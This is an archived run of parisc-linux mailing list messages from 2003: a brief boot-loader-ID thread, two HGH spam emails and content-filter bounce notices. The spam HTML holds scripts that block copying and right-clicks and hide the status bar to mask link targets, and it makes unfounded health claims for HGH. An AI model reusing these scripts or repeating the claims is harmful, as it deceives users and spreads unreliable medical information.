List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 05 Dec 2003 20:43:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20310

On Fri, Dec 05, 2003 at 09:40:19PM +0100, Helge Deller wrote:
> Is this something we should care about for PALO ?

This sounds _very_ x86-centric :)



From - Thu Nov 08 21:30:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd: A call for boot loader IDs
Date: Fri, 5 Dec 2003 21:46:14 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <200312052146.14281.deller@gmx.de>
References: <200312052140.19017.deller@gmx.de> <20031205204306.GA2013@lst.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623027 2676 80.91.229.3 (22 Nov 2014 02:23:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Fri Dec  5 13:46:10 2003
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id AAB154843
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  5 Dec 2003 13:46:09 -0700 (MST)
Original-Received: (qmail 27046 invoked by uid 65534); 5 Dec 2003 20:46:08 -0000
Original-Received: from pD9040774.dip.t-dialin.net (EHLO p100) (217.4.7.116)
	by mail.gmx.net (mp003) with SMTP; 05 Dec 2003 21:46:08 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.5.94
In-Reply-To: <20031205204306.GA2013@lst.de>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 05 Dec 2003 20:46:10 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20311

On Friday 05 December 2003 21:43, Christoph Hellwig wrote:
> On Fri, Dec 05, 2003 at 09:40:19PM +0100, Helge Deller wrote:
> > Is this something we should care about for PALO ?
> 
> This sounds _very_ x86-centric :)

Sure, but at least ELILO is iA64.

Helge


From - Thu Nov 08 21:30:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd: A call for boot loader IDs
Date: Fri, 5 Dec 2003 21:47:39 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20031205204739.GA2192@lst.de>
References: <200312052140.19017.deller@gmx.de> <20031205204306.GA2013@lst.de>
	<200312052146.14281.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623028 2680 80.91.229.3 (22 Nov 2014 02:23:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: hch@lst.de  Fri Dec  5 13:47:43 2003
Return-Path: <hch@lst.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.lst.de (verein.lst.de [212.34.189.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id F19144843
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  5 Dec 2003 13:47:42 -0700 (MST)
Original-Received: from verein.lst.de (localhost [127.0.0.1])
	by mail.lst.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id hB5Klest002210
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO);
	Fri, 5 Dec 2003 21:47:40 +0100
Original-Received: (from hch@localhost)
	by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id hB5KleCr002203;
	Fri, 5 Dec 2003 21:47:40 +0100
Content-Disposition: inline
In-Reply-To: <200312052146.14281.deller@gmx.de>
User-Agent: Mutt/1.3.28i
X-Spam-Score: -5.3 () EMAIL_ATTRIBUTION, FWD_MSG, IN_REP_TO, QUOTED_EMAIL_TEXT,
	REFERENCES, REPLY_WITH_QUOTES, USER_AGENT_MUTT
X-Scanned-By: MIMEDefang 2.33 (www . roaringpenguin . com / mimedefang)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 05 Dec 2003 20:47:43 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20312

On Fri, Dec 05, 2003 at 09:46:14PM +0100, Helge Deller wrote:
> On Friday 05 December 2003 21:43, Christoph Hellwig wrote:
> > On Fri, Dec 05, 2003 at 09:40:19PM +0100, Helge Deller wrote:
> > > Is this something we should care about for PALO ?
> > 
> > This sounds _very_ x86-centric :)
> 
> Sure, but at least ELILO is iA64.

it's for any EFI platform.  and intel wants to push EFI for
x86 aswell.



From - Thu Nov 08 21:30:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Guy Mcfarland" <jehosophat@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ''Top athletes agree wenrm  fw
Date: Sat, 06 Dec 03 17:48:59 GMT
Lines: 137
Approved: news@gmane.org
Message-ID: <2$-71f39-ce07h8fq$tni-$1-k4-rat@zejt822.er9>
Reply-To: Guy Mcfarland <jehosophat@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="0F_B_CB3A..1C_"
X-Trace: ger.gmane.org 1416623028 2683 80.91.229.3 (22 Nov 2014 02:23:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:48 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: jehosophat@msn.com  Fri Dec  5 22:59:34 2003
Return-Path: <jehosophat@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 487194843
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 22:59:34 -0700 (MST)
Original-Received: from woh-166-203-204.woh.rr.com (woh-166-203-204.woh.rr.com
	[24.166.203.204]) by cuprel1.hp.com (Postfix) with SMTP id A0E95D5C
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 21:59:22 -0800 (PST)
Original-Received: from [217.130.222.17] by woh-166-203-204.woh.rr.com with ESMTP id
	<724633-05005>; Sat, 06 Dec 2003 17:48:59 -0200
X-Mailer: Microsoft Outlook Express 6.00.2462.0000
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 06 Dec 2003 05:59:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20313


--0F_B_CB3A..1C_
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
<head>
<title>Young and Strong</title>
<script>
//Block Right Clicking - by Blackbox Hosting
//Credit must stay intact for use

var isNS =3D (navigator.appName =3D=3D "Netscape") ? 1 : 0;
var EnableRightClick =3D 0;
if(isNS) 
document.captureEvents(Event.MOUSEDOWN||Event.MOUSEUP);
function mischandler(){
  if(EnableRightClick=3D=3D1){ return true; }
  else {return false; }
}
function mousehandler(e){
  if(EnableRightClick=3D=3D1){ return true; }
  var myevent =3D (isNS) ? e : event;
  var eventbutton =3D (isNS) ? myevent.which : myevent.button;
  if((eventbutton=3D=3D2)||(eventbutton=3D=3D3)) return false;
}
function keyhandler(e) {
  var myevent =3D (isNS) ? e : window.event;
  if (myevent.keyCode=3D=3D96)
    EnableRightClick =3D 1;
  return;
}
document.oncontextmenu =3D mischandler;
document.onkeypress =3D keyhandler;
document.onmousedown =3D mousehandler;
document.onmouseup =3D mousehandler;

</script>
<script>
//Block Select-Copy-Paste from Webpage - by Blackbox Hosting
//Credit must stay intact for use

function disabletext(e){
return false
}

function reEnable(){
return true
}

//if the browser is IE4+
document.onselectstart=3Dnew Function ("return false")

//if the browser is NS6
if (window.sidebar){
document.onmousedown=3Ddisabletext
document.onclick=3DreEnable
}

</script>
<script>
//Blocks Shift+Click on Links - by Blackbox Hosting
//Credit must stay intact for use

function mouseDown(e) {
 var shiftPressed=3D0;
 if (parseInt(navigator.appVersion)>3) {
  if (navigator.appName=3D=3D"Netscape")
       shiftPressed=3D(e.modifiers-0>3);
  else shiftPressed=3Devent.shiftKey;
  if (shiftPressed) {
   alert ('Shift-click is disabled.')
   return false;
  }
 }
 return true;
}
if (parseInt(navigator.appVersion)>3) {
 document.onmousedown =3D mouseDown;
 if (navigator.appName=3D=3D"Netscape") 
  document.captureEvents(Event.MOUSEDOWN);
}
</script>
<script>
//Hide status bar script - by Blackbox Hosting
//Credit must stay intact for use

function hidestatus(){
window.status=3D''
return true
}

if (document.layers)
document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT)

document.onmouseover=3Dhidestatus
document.onmouseout=3Dhidestatus
</script>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>
<body bgcolor=3D"#003366" font color=3D"#000000" face=3D"verdana" link=3D#=
00FF00 alink=3D#00FF00 vlink=3D"#0000FF" text=3D"#FFFFFF">
<center>
  <p align=3D"center"><H4><font color=3D"#FFFFFF" face=3D"verdana">Medical=
ly Proven and Recognized Around the World<br>HGH<br>replenishes what TIME =
has taken away !</font></H4></center><CENTER><H5><font color=3D"#FFCC00" f=
ace=3D"verdana">Look Better and Feel Better !<br>
    Be Sexy and Athletic !<br>Increases your Energy *** Speeds up your Met=
abolism<br>Improves Mental Clarity and Thinking Abilities !</font></H5>
</center><center><H5><font color=3D"#FFCC00" face=3D"verdana">Part of the =
daily routines of:<br>
  Doctors, Celebrities, Models, Athletes, Politicians, and even World Lead=
ers !</font></H5></center>  
<center><H5><font color=3D"#FFCC00" face=3D"verdana">
    Time, stress, and aging REDUCE and EXHAUST <br> the very hormones we n=
eed to remain youthful and vibrant.<br>You can now REPLENISH what time has=
 taken away !<H4><font color=3D"#FFFFFF" face=3D"verdana">With
      Doctor Approved 
      HGH !</font></H4>
    </font></H5>
</center><center> 
<H3><font color=3D"#FFFF00" face=3D"verdana">60 day 100% Money-Back Guaran=
tee!</font></H3></center>


  <center><h3><a href=3D"http://www.fisha.biz/hgh/?buster">This way to loo=
k and feel better with HGH!!</a></h3>
</center>
</body>
</html>
bgkmupszct 
hdcgpvkz da

--0F_B_CB3A..1C_--



From - Thu Nov 08 21:30:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: pdvirus1@presse-data.de
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sicherheitshinweis: Mail mit Scriptinhalt wurde
	abgelehnt. Mails containing scripts are not allowed. (No JS or VBS)
Date: Sat, 06 Dec 2003 07:00:12 +0100
Lines: 64
Approved: news@gmane.org
Message-ID: <20031206060011.3A41E510@mail.presse-data.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_1070690412_B78506032.R82506026"
X-Trace: ger.gmane.org 1416623028 2687 80.91.229.3 (22 Nov 2014 02:23:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:48 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: pdvirus1@presse-data.de  Fri Dec  5 23:00:13 2003
Return-Path: <pdvirus1@presse-data.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pdvirus1.presse-data.de (mail.presse-data.de [149.221.250.67])
	by dsl2.external.hp.com (Postfix) with SMTP id 7933348AE
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 23:00:12 -0700 (MST)
Original-Received: from pdvirus1.presse-data.de (pdvirus1.rz.rbpd-dus.de
	[149.221.250.67])
	by mail.presse-data.de (Postfix) with SMTP id 3A41E510
	for <parisc-linux@parisc-linux.org>;
	Sat,  6 Dec 2003 07:00:11 +0100 (MET)
InterScan-Notification: yes
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 06 Dec 2003 06:00:13 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20314

This is a multi-part message in MIME format.

------=_NextPart_000_1070690412_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

************* eManager Notification **************

Bitte haben Sie Verstaendnis dafuer, dass unsere Sicherheitspolitik kein HTML Script in Emails erlaubt. Recipient, Content filter has detected HTML script e-mail.

Source mailbox: "parisc-linux-bounces@lists.parisc-linux.org"
Destination mailbox(es): "parisc-linux@parisc-linux.org"

******************* End of message *******************

------=_NextPart_000_1070690412_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 6198648AF; Fri,  5 Dec 2003 22:59:51 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 487194843
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 22:59:34 -0700 (MST)
Received: from woh-166-203-204.woh.rr.com (woh-166-203-204.woh.rr.com
	[24.166.203.204]) by cuprel1.hp.com (Postfix) with SMTP id A0E95D5C
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 21:59:22 -0800 (PST)
Received: from [217.130.222.17] by woh-166-203-204.woh.rr.com with ESMTP id
	<724633-05005>; Sat, 06 Dec 2003 17:48:59 -0200
Message-ID: <2$-71f39-ce07h8fq$tni-$1-k4-rat@zejt822.er9>
From: "Guy Mcfarland" <jehosophat@msn.com>
To: parisc-linux@parisc-linux.org
Date: Sat, 06 Dec 03 17:48:59 GMT
X-Mailer: Microsoft Outlook Express 6.00.2462.0000
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
Cc: 
Subject: [parisc-linux] ''Top athletes agree wenrm  fw
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
Reply-To: Guy Mcfarland <jehosophat@msn.com>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Content-Type: multipart/mixed; boundary="===============1483580605=="
Mime-version: 1.0
Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org

------=_NextPart_000_1070690412_B78506032.R82506026--


From - Thu Nov 08 21:30:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Timmy Alvarez" <martha@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] /Top athletes agree phteexvwhsivpp bg
Date: Sun, 07 Dec 03 00:07:35 GMT
Lines: 141
Approved: news@gmane.org
Message-ID: <4av1-uo1yuqk27v-14$--14$7-3v9$2@9me.k8>
Reply-To: Timmy Alvarez <martha@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary=".B.48A9.64C6"
X-Trace: ger.gmane.org 1416623029 2690 80.91.229.3 (22 Nov 2014 02:23:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:49 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: martha@msn.com  Fri Dec  5 23:08:59 2003
Return-Path: <martha@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id A89304843
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 23:08:59 -0700 (MST)
Original-Received: from c-24-98-210-28.atl.client2.attbi.com
	(c-24-98-210-28.atl.client2.attbi.com [24.98.210.28])
	by cuprel1.hp.com (Postfix) with SMTP id EA1C3D69
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 22:08:54 -0800 (PST)
Original-Received: from [123.130.121.236] by c-24-98-210-28.atl.client2.attbi.com id
	5eYH19VEqLtL for <parisc-linux@parisc-linux.org>;
	Sun, 07 Dec 2003 00:07:35 +0400
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 06 Dec 2003 06:09:00 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20315


--.B.48A9.64C6
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
<head>
<title>Young and Strong</title>
<script>
//Block Right Clicking - by Blackbox Hosting
//Credit must stay intact for use

var isNS =3D (navigator.appName =3D=3D "Netscape") ? 1 : 0;
var EnableRightClick =3D 0;
if(isNS) 
document.captureEvents(Event.MOUSEDOWN||Event.MOUSEUP);
function mischandler(){
  if(EnableRightClick=3D=3D1){ return true; }
  else {return false; }
}
function mousehandler(e){
  if(EnableRightClick=3D=3D1){ return true; }
  var myevent =3D (isNS) ? e : event;
  var eventbutton =3D (isNS) ? myevent.which : myevent.button;
  if((eventbutton=3D=3D2)||(eventbutton=3D=3D3)) return false;
}
function keyhandler(e) {
  var myevent =3D (isNS) ? e : window.event;
  if (myevent.keyCode=3D=3D96)
    EnableRightClick =3D 1;
  return;
}
document.oncontextmenu =3D mischandler;
document.onkeypress =3D keyhandler;
document.onmousedown =3D mousehandler;
document.onmouseup =3D mousehandler;

</script>
<script>
//Block Select-Copy-Paste from Webpage - by Blackbox Hosting
//Credit must stay intact for use

function disabletext(e){
return false
}

function reEnable(){
return true
}

//if the browser is IE4+
document.onselectstart=3Dnew Function ("return false")

//if the browser is NS6
if (window.sidebar){
document.onmousedown=3Ddisabletext
document.onclick=3DreEnable
}

</script>
<script>
//Blocks Shift+Click on Links - by Blackbox Hosting
//Credit must stay intact for use

function mouseDown(e) {
 var shiftPressed=3D0;
 if (parseInt(navigator.appVersion)>3) {
  if (navigator.appName=3D=3D"Netscape")
       shiftPressed=3D(e.modifiers-0>3);
  else shiftPressed=3Devent.shiftKey;
  if (shiftPressed) {
   alert ('Shift-click is disabled.')
   return false;
  }
 }
 return true;
}
if (parseInt(navigator.appVersion)>3) {
 document.onmousedown =3D mouseDown;
 if (navigator.appName=3D=3D"Netscape") 
  document.captureEvents(Event.MOUSEDOWN);
}
</script>
<script>
//Hide status bar script - by Blackbox Hosting
//Credit must stay intact for use

function hidestatus(){
window.status=3D''
return true
}

if (document.layers)
document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT)

document.onmouseover=3Dhidestatus
document.onmouseout=3Dhidestatus
</script>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>
<body bgcolor=3D"#003366" font color=3D"#000000" face=3D"verdana" link=3D#=
00FF00 alink=3D#00FF00 vlink=3D"#0000FF" text=3D"#FFFFFF">
<center>
  <p align=3D"center"><H4><font color=3D"#FFFFFF" face=3D"verdana">Medical=
ly Proven and Recognized Around the World<br>HGH<br>replenishes what TIME =
has taken away !</font></H4></center><CENTER><H5><font color=3D"#FFCC00" f=
ace=3D"verdana">Look Better and Feel Better !<br>
    Be Sexy and Athletic !<br>Increases your Energy *** Speeds up your Met=
abolism<br>Improves Mental Clarity and Thinking Abilities !</font></H5>
</center><center><H5><font color=3D"#FFCC00" face=3D"verdana">Part of the =
daily routines of:<br>
  Doctors, Celebrities, Models, Athletes, Politicians, and even World Lead=
ers !</font></H5></center>  
<center><H5><font color=3D"#FFCC00" face=3D"verdana">
    Time, stress, and aging REDUCE and EXHAUST <br> the very hormones we n=
eed to remain youthful and vibrant.<br>You can now REPLENISH what time has=
 taken away !<H4><font color=3D"#FFFFFF" face=3D"verdana">With
      Doctor Approved 
      HGH !</font></H4>
    </font></H5>
</center><center> 
<H3><font color=3D"#FFFF00" face=3D"verdana">60 day 100% Money-Back Guaran=
tee!</font></H3></center>


  <center><h3><a href=3D"http://www.fisha.biz/hgh/?buster">This way to loo=
k and feel better with HGH!!</a></h3>
</center>
</body>
</html>
m gm amqefyai  c
zcxglacvicrqkqufxjje
hqkgtocyg  zshxruocv
kq
x nftnfnsy 
ls

--.B.48A9.64C6--



From - Thu Nov 08 21:30:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: pdvirus1@presse-data.de
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sicherheitshinweis: Mail mit Scriptinhalt wurde
	abgelehnt. Mails containing scripts are not allowed. (No JS or VBS)
Date: Sat, 06 Dec 2003 07:09:25 +0100
Lines: 66
Approved: news@gmane.org
Message-ID: <20031206060932.1445A50B@mail.presse-data.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_1070690965_B78506032.R82506026"
X-Trace: ger.gmane.org 1416623029 2694 80.91.229.3 (22 Nov 2014 02:23:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:49 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: pdvirus1@presse-data.de  Fri Dec  5 23:09:33 2003
Return-Path: <pdvirus1@presse-data.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pdvirus1.presse-data.de (mail.presse-data.de [149.221.250.67])
	by dsl2.external.hp.com (Postfix) with SMTP id 284684843
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 23:09:33 -0700 (MST)
Original-Received: from pdvirus1.presse-data.de (pdvirus1.rz.rbpd-dus.de
	[149.221.250.67])
	by mail.presse-data.de (Postfix) with SMTP id 1445A50B
	for <parisc-linux@parisc-linux.org>;
	Sat,  6 Dec 2003 07:09:32 +0100 (MET)
InterScan-Notification: yes
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 06 Dec 2003 06:09:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20316

This is a multi-part message in MIME format.

------=_NextPart_000_1070690965_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

************* eManager Notification **************

Bitte haben Sie Verstaendnis dafuer, dass unsere Sicherheitspolitik kein HTML Script in Emails erlaubt. Recipient, Content filter has detected HTML script e-mail.

Source mailbox: "parisc-linux-bounces@lists.parisc-linux.org"
Destination mailbox(es): "parisc-linux@parisc-linux.org"

******************* End of message *******************

------=_NextPart_000_1070690965_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C081D48B1; Fri,  5 Dec 2003 23:09:12 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id A89304843
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 23:08:59 -0700 (MST)
Received: from c-24-98-210-28.atl.client2.attbi.com
	(c-24-98-210-28.atl.client2.attbi.com [24.98.210.28])
	by cuprel1.hp.com (Postfix) with SMTP id EA1C3D69
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 22:08:54 -0800 (PST)
Received: from [123.130.121.236] by c-24-98-210-28.atl.client2.attbi.com id
	5eYH19VEqLtL for <parisc-linux@parisc-linux.org>;
	Sun, 07 Dec 2003 00:07:35 +0400
Message-ID: <4av1-uo1yuqk27v-14$--14$7-3v9$2@9me.k8>
From: "Timmy Alvarez" <martha@msn.com>
To: parisc-linux@parisc-linux.org
Date: Sun, 07 Dec 03 00:07:35 GMT
X-Mailer: Microsoft Outlook Express 5.00.2615.200
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
Cc: 
Subject: [parisc-linux] /Top athletes agree phteexvwhsivpp bg
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
